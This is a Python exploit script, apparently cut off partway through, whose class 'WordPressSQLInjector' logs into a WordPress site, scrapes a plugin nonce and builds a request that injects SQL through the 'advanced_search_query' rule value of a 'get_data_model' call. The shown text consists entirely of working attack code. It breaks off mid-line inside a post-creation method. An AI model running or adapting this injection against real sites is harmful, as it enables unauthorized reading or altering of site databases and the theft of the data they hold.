import requests import sys import string import re class WordPressSQLInjector: def __init__(self, target, login_id, login_pw, proxy=None): self.target = target.rstrip("/") self.session = requests.Session() self.nonce = None self.post_ID = None self.proxies = {"http": proxy, "https": proxy} if proxy else None self.login_id = login_id self.login_pw = login_pw def login(self): data = { "log": self.login_id, "pwd": self.login_pw, "wp-submit": "Log In", "testcookie": 1, } response = self.session.post(f"{self.target}/wp-login.php", data=data, proxies=self.proxies) if any("wordpress_logged_in_" in cookie for cookie in response.cookies.keys()): print(f"[+] Successfully logged in as {self.login_id}.") else: raise Exception("[-] Login failed. Check your credentials.") def get_nonce(self, page_url): response = self.session.get(page_url, proxies=self.proxies) pattern = r'\\"sm_nonce\\":\\"(\w+)\\"' match = re.search(pattern, response.text) if match: self.nonce = match.group(1) print(f"[+] Nonce extracted: {self.nonce}") else: raise ValueError("[-] Failed to extract nonce.") def create_payload(self, payload): if not self.nonce: raise ValueError("Nonce is not set. Call `get_nonce` first.") return { "cmd": "get_data_model", "active_module": "post", "security": self.nonce, "advanced_search_query": ( f'[{{"condition":"test","rules":[{{"condition":"test","rules":' f'[{{"type":"wp_posts.ID","operator":"eq","value":"{payload}"}}]' f'}}]}}]' ), } def create_post(self): response = self.session.get(f"{self.target}/wp-admin/post-new.php", proxies=self.proxies) nonce_pattern = r'createNonceMiddleware\( "(.{10})" \)' post_id_pattern = r'